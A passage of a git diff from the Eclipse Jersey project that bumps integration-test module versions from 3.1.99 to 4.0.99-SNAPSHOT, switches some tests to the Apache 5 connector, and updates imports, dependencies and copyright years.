         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>j-441</artifactId>
diff --git a/tests/integration/j-441/war1/pom.xml b/tests/integration/j-441/war1/pom.xml
index 80e703e..582ef24 100644
--- a/tests/integration/j-441/war1/pom.xml
+++ b/tests/integration/j-441/war1/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/j-441/war2/pom.xml b/tests/integration/j-441/war2/pom.xml
index b34a39d..9765f3f 100644
--- a/tests/integration/j-441/war2/pom.xml
+++ b/tests/integration/j-441/war2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/j-59/ear/pom.xml b/tests/integration/j-59/ear/pom.xml
index e285757..181f28d 100644
--- a/tests/integration/j-59/ear/pom.xml
+++ b/tests/integration/j-59/ear/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/j-59/lib/pom.xml b/tests/integration/j-59/lib/pom.xml
index f6d37be..b68dd30 100644
--- a/tests/integration/j-59/lib/pom.xml
+++ b/tests/integration/j-59/lib/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/j-59/pom.xml b/tests/integration/j-59/pom.xml
index a6430ce..3e3696f 100644
--- a/tests/integration/j-59/pom.xml
+++ b/tests/integration/j-59/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>j-59</artifactId>
diff --git a/tests/integration/j-59/war/pom.xml b/tests/integration/j-59/war/pom.xml
index 485f79f..f9c74cb 100644
--- a/tests/integration/j-59/war/pom.xml
+++ b/tests/integration/j-59/war/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/jackson-14/pom.xml b/tests/integration/jackson-14/pom.xml
index 6e63995..e19dab0 100644
--- a/tests/integration/jackson-14/pom.xml
+++ b/tests/integration/jackson-14/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jaxrs-component-inject/pom.xml b/tests/integration/jaxrs-component-inject/pom.xml
index 05f289c..bcb67ee 100644
--- a/tests/integration/jaxrs-component-inject/pom.xml
+++ b/tests/integration/jaxrs-component-inject/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jaxrs-component-inject</artifactId>
diff --git a/tests/integration/jersey-1107/pom.xml b/tests/integration/jersey-1107/pom.xml
index d8b55d7..ce60217 100644
--- a/tests/integration/jersey-1107/pom.xml
+++ b/tests/integration/jersey-1107/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-1107</artifactId>
diff --git a/tests/integration/jersey-1223/pom.xml b/tests/integration/jersey-1223/pom.xml
index 7df7d30..fcfd23b 100644
--- a/tests/integration/jersey-1223/pom.xml
+++ b/tests/integration/jersey-1223/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <artifactId>jersey-1223</artifactId>
diff --git a/tests/integration/jersey-1604/pom.xml b/tests/integration/jersey-1604/pom.xml
index f3821e4..fbe9350 100644
--- a/tests/integration/jersey-1604/pom.xml
+++ b/tests/integration/jersey-1604/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <artifactId>jersey-1604</artifactId>
@@ -39,7 +39,7 @@
 
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
+            <artifactId>jersey-apache5-connector</artifactId>
             <scope>test</scope>
         </dependency>
         <dependency>
@@ -47,6 +47,12 @@
             <artifactId>jersey-test-framework-provider-external</artifactId>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>org.slf4j</groupId>
+            <artifactId>slf4j-api</artifactId>
+            <version>${slf4j.version}</version>
+            <scope>test</scope>
+        </dependency>
 
     </dependencies>
 
diff --git a/tests/integration/jersey-1604/src/test/java/org/glassfish/jersey/tests/integration/jersey1604/ConnectionCloseITCase.java b/tests/integration/jersey-1604/src/test/java/org/glassfish/jersey/tests/integration/jersey1604/ConnectionCloseITCase.java
index b5f5644..95520db 100644
--- a/tests/integration/jersey-1604/src/test/java/org/glassfish/jersey/tests/integration/jersey1604/ConnectionCloseITCase.java
+++ b/tests/integration/jersey-1604/src/test/java/org/glassfish/jersey/tests/integration/jersey1604/ConnectionCloseITCase.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,7 @@
 
 import jakarta.ws.rs.core.Response;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
@@ -50,7 +50,7 @@
 
     @Override
     protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
+        config.connectorProvider(new Apache5ConnectorProvider());
     }
 
     @Test
diff --git a/tests/integration/jersey-1667/pom.xml b/tests/integration/jersey-1667/pom.xml
index 0c910e5..e72819f 100644
--- a/tests/integration/jersey-1667/pom.xml
+++ b/tests/integration/jersey-1667/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-1667</artifactId>
diff --git a/tests/integration/jersey-1829/pom.xml b/tests/integration/jersey-1829/pom.xml
index 2775fcf..eac56c9 100644
--- a/tests/integration/jersey-1829/pom.xml
+++ b/tests/integration/jersey-1829/pom.xml
@@ -19,10 +19,11 @@
 
 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
     <parent>
-        <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.0-SNAPSHOT</version>
+        <artifactId>project</artifactId>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
+
     <modelVersion>4.0.0</modelVersion>
     <artifactId>jersey-1829</artifactId>
     <packaging>war</packaging>
@@ -45,6 +46,12 @@
             <scope>test</scope>
         </dependency>
 
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
+            <scope>test</scope>
+        </dependency>
+
     </dependencies>
 
     <build>
@@ -57,10 +64,6 @@
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
-            <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
-            </plugin>
         </plugins>
     </build>
 </project>
diff --git a/tests/integration/jersey-1829/src/test/java/org/glassfish/jersey/tests/integration/jersey1829/ApplicationHandlerITCase.java b/tests/integration/jersey-1829/src/test/java/org/glassfish/jersey/tests/integration/jersey1829/ApplicationHandlerITCase.java
index 48ea38d..436b155 100644
--- a/tests/integration/jersey-1829/src/test/java/org/glassfish/jersey/tests/integration/jersey1829/ApplicationHandlerITCase.java
+++ b/tests/integration/jersey-1829/src/test/java/org/glassfish/jersey/tests/integration/jersey1829/ApplicationHandlerITCase.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,7 @@
 
 package org.glassfish.jersey.tests.integration.jersey1829;
 
+import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.Response;
 
 import org.glassfish.jersey.server.ResourceConfig;
@@ -36,13 +37,8 @@
 public class ApplicationHandlerITCase extends JerseyTest {
 
     @Override
-    protected ResourceConfig configure() {
-        return new ResourceConfig(Jersey1829.class);
-    }
-
-    @Override
-    protected TestContainerFactory getTestContainerFactory() throws TestContainerException {
-        return new ExternalTestContainerFactory();
+    protected Application configure() {
+        return new Jersey1829();
     }
 
     @Test
@@ -57,6 +53,5 @@
         final Response response = target().path("resource/428-entity").request().get();
         Assertions.assertEquals(428, response.getStatusInfo().getStatusCode());
         Assertions.assertEquals("my-phrase", response.getStatusInfo().getReasonPhrase());
-
     }
 }
diff --git a/tests/integration/jersey-1883/pom.xml b/tests/integration/jersey-1883/pom.xml
index 4b2fe83..7897871 100644
--- a/tests/integration/jersey-1883/pom.xml
+++ b/tests/integration/jersey-1883/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-1883</artifactId>
diff --git a/tests/integration/jersey-1928/pom.xml b/tests/integration/jersey-1928/pom.xml
index 8ca34eb..b823473 100644
--- a/tests/integration/jersey-1928/pom.xml
+++ b/tests/integration/jersey-1928/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <artifactId>jersey-1928</artifactId>
diff --git a/tests/integration/jersey-1960/pom.xml b/tests/integration/jersey-1960/pom.xml
index 0231346..5cd5716 100644
--- a/tests/integration/jersey-1960/pom.xml
+++ b/tests/integration/jersey-1960/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-1960</artifactId>
diff --git a/tests/integration/jersey-1964/pom.xml b/tests/integration/jersey-1964/pom.xml
index 9c70f0c..e2e6e2e 100644
--- a/tests/integration/jersey-1964/pom.xml
+++ b/tests/integration/jersey-1964/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-1964</artifactId>
diff --git a/tests/integration/jersey-2031/pom.xml b/tests/integration/jersey-2031/pom.xml
index 7b25245..35e9d07 100644
--- a/tests/integration/jersey-2031/pom.xml
+++ b/tests/integration/jersey-2031/pom.xml
@@ -25,7 +25,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2031</artifactId>
diff --git a/tests/integration/jersey-2136/pom.xml b/tests/integration/jersey-2136/pom.xml
index 3628f6c..0a97ce5 100644
--- a/tests/integration/jersey-2136/pom.xml
+++ b/tests/integration/jersey-2136/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2136</artifactId>
diff --git a/tests/integration/jersey-2137/pom.xml b/tests/integration/jersey-2137/pom.xml
index 06a5448..cb89ddf 100644
--- a/tests/integration/jersey-2137/pom.xml
+++ b/tests/integration/jersey-2137/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2137</artifactId>
diff --git a/tests/integration/jersey-2154/pom.xml b/tests/integration/jersey-2154/pom.xml
index f1c1e17..3fd6a7c 100644
--- a/tests/integration/jersey-2154/pom.xml
+++ b/tests/integration/jersey-2154/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2154</artifactId>
diff --git a/tests/integration/jersey-2160/pom.xml b/tests/integration/jersey-2160/pom.xml
index c8eb611..ba5c4da 100644
--- a/tests/integration/jersey-2160/pom.xml
+++ b/tests/integration/jersey-2160/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2160</artifactId>
diff --git a/tests/integration/jersey-2164/pom.xml b/tests/integration/jersey-2164/pom.xml
index b831d17..d780682 100644
--- a/tests/integration/jersey-2164/pom.xml
+++ b/tests/integration/jersey-2164/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2164</artifactId>
diff --git a/tests/integration/jersey-2167/pom.xml b/tests/integration/jersey-2167/pom.xml
index 706088f..9fb7ee6 100644
--- a/tests/integration/jersey-2167/pom.xml
+++ b/tests/integration/jersey-2167/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2167</artifactId>
diff --git a/tests/integration/jersey-2167/src/main/java/org/glassfish/jersey/tests/integration/jersey2167/MyBinder.java b/tests/integration/jersey-2167/src/main/java/org/glassfish/jersey/tests/integration/jersey2167/MyBinder.java
index 9faf5a6..0824c16 100644
--- a/tests/integration/jersey-2167/src/main/java/org/glassfish/jersey/tests/integration/jersey2167/MyBinder.java
+++ b/tests/integration/jersey-2167/src/main/java/org/glassfish/jersey/tests/integration/jersey2167/MyBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.server.spi.internal.ValueParamProvider;
 
 /**
diff --git a/tests/integration/jersey-2176/pom.xml b/tests/integration/jersey-2176/pom.xml
index d7c5244..3b69b81 100644
--- a/tests/integration/jersey-2176/pom.xml
+++ b/tests/integration/jersey-2176/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2176</artifactId>
diff --git a/tests/integration/jersey-2184/pom.xml b/tests/integration/jersey-2184/pom.xml
index 0406ce1..c10e091 100644
--- a/tests/integration/jersey-2184/pom.xml
+++ b/tests/integration/jersey-2184/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2184</artifactId>
diff --git a/tests/integration/jersey-2255/pom.xml b/tests/integration/jersey-2255/pom.xml
index ed95927..bb427bb 100644
--- a/tests/integration/jersey-2255/pom.xml
+++ b/tests/integration/jersey-2255/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2255</artifactId>
diff --git a/tests/integration/jersey-2322/pom.xml b/tests/integration/jersey-2322/pom.xml
index 1087bbb..1c1428c 100644
--- a/tests/integration/jersey-2322/pom.xml
+++ b/tests/integration/jersey-2322/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2322</artifactId>
diff --git a/tests/integration/jersey-2335/pom.xml b/tests/integration/jersey-2335/pom.xml
index b7b553f..7b4fd6b 100644
--- a/tests/integration/jersey-2335/pom.xml
+++ b/tests/integration/jersey-2335/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2335</artifactId>
diff --git a/tests/integration/jersey-2421/pom.xml b/tests/integration/jersey-2421/pom.xml
index 27f8c43..ea23a7e 100644
--- a/tests/integration/jersey-2421/pom.xml
+++ b/tests/integration/jersey-2421/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2421</artifactId>
diff --git a/tests/integration/jersey-2551/pom.xml b/tests/integration/jersey-2551/pom.xml
index 5b6009e..b6d4602 100644
--- a/tests/integration/jersey-2551/pom.xml
+++ b/tests/integration/jersey-2551/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2551</artifactId>
diff --git a/tests/integration/jersey-2612/pom.xml b/tests/integration/jersey-2612/pom.xml
index 51fc18c..9628ef1 100644
--- a/tests/integration/jersey-2612/pom.xml
+++ b/tests/integration/jersey-2612/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2612</artifactId>
diff --git a/tests/integration/jersey-2612/src/main/java/org/glassfish/jersey/tests/integration/jersey2612/OptionalParamBinder.java b/tests/integration/jersey-2612/src/main/java/org/glassfish/jersey/tests/integration/jersey2612/OptionalParamBinder.java
index 428eec6..34dc45b 100644
--- a/tests/integration/jersey-2612/src/main/java/org/glassfish/jersey/tests/integration/jersey2612/OptionalParamBinder.java
+++ b/tests/integration/jersey-2612/src/main/java/org/glassfish/jersey/tests/integration/jersey2612/OptionalParamBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,7 +20,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 
 final class OptionalParamBinder extends AbstractBinder {
 
diff --git a/tests/integration/jersey-2637/pom.xml b/tests/integration/jersey-2637/pom.xml
index fcd7d59..44f0dd6 100644
--- a/tests/integration/jersey-2637/pom.xml
+++ b/tests/integration/jersey-2637/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2637</artifactId>
diff --git a/tests/integration/jersey-2654/pom.xml b/tests/integration/jersey-2654/pom.xml
index eb3a91a..f102573 100644
--- a/tests/integration/jersey-2654/pom.xml
+++ b/tests/integration/jersey-2654/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2654</artifactId>
diff --git a/tests/integration/jersey-2673/pom.xml b/tests/integration/jersey-2673/pom.xml
index 40097f9..814b1f5 100644
--- a/tests/integration/jersey-2673/pom.xml
+++ b/tests/integration/jersey-2673/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2673</artifactId>
diff --git a/tests/integration/jersey-2689/pom.xml b/tests/integration/jersey-2689/pom.xml
index 7f18b87..9b2e46d 100644
--- a/tests/integration/jersey-2689/pom.xml
+++ b/tests/integration/jersey-2689/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2689</artifactId>
diff --git a/tests/integration/jersey-2704/pom.xml b/tests/integration/jersey-2704/pom.xml
index c3b9ff3..6473c00 100644
--- a/tests/integration/jersey-2704/pom.xml
+++ b/tests/integration/jersey-2704/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2704</artifactId>
diff --git a/tests/integration/jersey-2776/pom.xml b/tests/integration/jersey-2776/pom.xml
index 13ed02c..4c6a264 100644
--- a/tests/integration/jersey-2776/pom.xml
+++ b/tests/integration/jersey-2776/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2776</artifactId>
diff --git a/tests/integration/jersey-2794/pom.xml b/tests/integration/jersey-2794/pom.xml
index cef3084..a8c503c 100644
--- a/tests/integration/jersey-2794/pom.xml
+++ b/tests/integration/jersey-2794/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2794</artifactId>
diff --git a/tests/integration/jersey-2846/pom.xml b/tests/integration/jersey-2846/pom.xml
index 966ad11..8883a4d 100644
--- a/tests/integration/jersey-2846/pom.xml
+++ b/tests/integration/jersey-2846/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2846</artifactId>
diff --git a/tests/integration/jersey-2878/pom.xml b/tests/integration/jersey-2878/pom.xml
index 24e9996..5a30d5b 100644
--- a/tests/integration/jersey-2878/pom.xml
+++ b/tests/integration/jersey-2878/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2878</artifactId>
@@ -48,7 +48,13 @@
 
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
+            <artifactId>jersey-apache5-connector</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.slf4j</groupId>
+            <artifactId>slf4j-api</artifactId>
+            <version>${slf4j.version}</version>
             <scope>test</scope>
         </dependency>
     </dependencies>
diff --git a/tests/integration/jersey-2878/src/test/java/org/glassfish/jersey/tests/integration/jersey2878/Jersey2878ApacheITCase.java b/tests/integration/jersey-2878/src/test/java/org/glassfish/jersey/tests/integration/jersey2878/Jersey2878ApacheITCase.java
index f23c45e..9f168c0 100644
--- a/tests/integration/jersey-2878/src/test/java/org/glassfish/jersey/tests/integration/jersey2878/Jersey2878ApacheITCase.java
+++ b/tests/integration/jersey-2878/src/test/java/org/glassfish/jersey/tests/integration/jersey2878/Jersey2878ApacheITCase.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,7 @@
 
 package org.glassfish.jersey.tests.integration.jersey2878;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 
 /**
@@ -28,7 +28,7 @@
 
     @Override
     protected void configureClient(final ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
+        config.connectorProvider(new Apache5ConnectorProvider());
 
         super.configureClient(config);
     }
diff --git a/tests/integration/jersey-2892/pom.xml b/tests/integration/jersey-2892/pom.xml
index 542c4c0..7847395 100644
--- a/tests/integration/jersey-2892/pom.xml
+++ b/tests/integration/jersey-2892/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2892</artifactId>
diff --git a/tests/integration/jersey-3662/pom.xml b/tests/integration/jersey-3662/pom.xml
index 956826d..7e91ac2 100644
--- a/tests/integration/jersey-3662/pom.xml
+++ b/tests/integration/jersey-3662/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jersey-3670/pom.xml b/tests/integration/jersey-3670/pom.xml
